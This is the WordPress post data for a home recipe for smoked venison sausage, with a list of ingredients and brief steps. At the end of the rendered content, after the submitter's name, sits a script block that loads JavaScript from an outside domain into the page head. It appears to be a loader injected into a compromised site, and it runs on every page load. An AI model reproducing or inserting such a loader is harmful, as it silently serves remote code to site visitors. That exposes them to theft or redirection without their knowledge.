{"id":1674,"date":"2024-12-31T23:15:09","date_gmt":"2025-01-01T03:15:09","guid":{"rendered":"https:\/\/www.brgcohio.com\/?p=1674"},"modified":"2025-11-19T10:01:52","modified_gmt":"2025-11-19T14:01:52","slug":"smoked-venison-sausage","status":"publish","type":"post","link":"https:\/\/www.brgcohio.com\/?p=1674","title":{"rendered":"Smoked Venison Sausage"},"content":{"rendered":"\n<p class=\"has-large-font-size wp-block-paragraph\"><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"584\" height=\"389\" src=\"https:\/\/i0.wp.com\/www.brgcohio.com\/wp-content\/uploads\/2024\/12\/IMG_2279-scaled.jpg?resize=584%2C389&#038;ssl=1\" alt=\"\" class=\"wp-image-1675\" srcset=\"https:\/\/i0.wp.com\/www.brgcohio.com\/wp-content\/uploads\/2024\/12\/IMG_2279-scaled.jpg?w=2560&amp;ssl=1 2560w, https:\/\/i0.wp.com\/www.brgcohio.com\/wp-content\/uploads\/2024\/12\/IMG_2279-scaled.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/www.brgcohio.com\/wp-content\/uploads\/2024\/12\/IMG_2279-scaled.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/www.brgcohio.com\/wp-content\/uploads\/2024\/12\/IMG_2279-scaled.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/www.brgcohio.com\/wp-content\/uploads\/2024\/12\/IMG_2279-scaled.jpg?resize=1536%2C1024&amp;ssl=1 1536w, https:\/\/i0.wp.com\/www.brgcohio.com\/wp-content\/uploads\/2024\/12\/IMG_2279-scaled.jpg?w=1168&amp;ssl=1 1168w, https:\/\/i0.wp.com\/www.brgcohio.com\/wp-content\/uploads\/2024\/12\/IMG_2279-scaled.jpg?w=1752&amp;ssl=1 1752w\" sizes=\"auto, (max-width: 584px) 100vw, 584px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Ingredients for 5 lbs:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">5 lbs ground venison<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">2 \u00bd Tablespoons salt<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u00bd Tablespoon brown sugar<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">2 Tablespoons minced garlic<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u00bd Tablespoon black pepper<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u00bd heaping teaspoon marjoram<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1 cup powdered milk<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1 teaspoon pink salt<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u00bd Tablespoon cayenne pepper<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1 Tablespoon caraway seed<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1 cup white wine<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Instructions:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Mix all ingredients well.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Put meat paste in 1 gallon ziplok bag and keep refrigerated for 24 or more hours.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Stuff meat paste into natural hog caseings.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">I twist mine into 6-7\u201d links it fit a bun.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Submitted by &#8211; Wiz Moore<\/p>\n<script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script>","protected":false},"excerpt":{"rendered":"<p>Ingredients for 5 lbs: 5 lbs ground venison 2 \u00bd Tablespoons salt \u00bd Tablespoon brown sugar 2 Tablespoons minced garlic \u00bd Tablespoon black pepper \u00bd heaping teaspoon marjoram 1 cup powdered milk 1 teaspoon pink salt \u00bd Tablespoon cayenne pepper<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_bbp_topic_count":0,"_bbp_reply_count":0,"_bbp_total_topic_count":0,"_bbp_total_reply_count":0,"_bbp_voice_count":0,"_bbp_anonymous_reply_count":0,"_bbp_topic_count_hidden":0,"_bbp_reply_count_hidden":0,"_bbp_forum_subforum_count":0,"_rtcl_gb_attr":"","jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":true,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":true,"jetpack_social_options":{"image_generator_settings":{"template":"highway","enabled":false},"version":2}},"categories":[1],"tags":[],"class_list":["post-1674","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p61OAc-r0","_links":{"self":[{"href":"https:\/\/www.brgcohio.com\/index.php?rest_route=\/wp\/v2\/posts\/1674","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.brgcohio.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.brgcohio.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.brgcohio.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.brgcohio.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1674"}],"version-history":[{"count":3,"href":"https:\/\/www.brgcohio.com\/index.php?rest_route=\/wp\/v2\/posts\/1674\/revisions"}],"predecessor-version":[{"id":1731,"href":"https:\/\/www.brgcohio.com\/index.php?rest_route=\/wp\/v2\/posts\/1674\/revisions\/1731"}],"wp:attachment":[{"href":"https:\/\/www.brgcohio.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1674"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.brgcohio.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1674"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.brgcohio.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1674"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}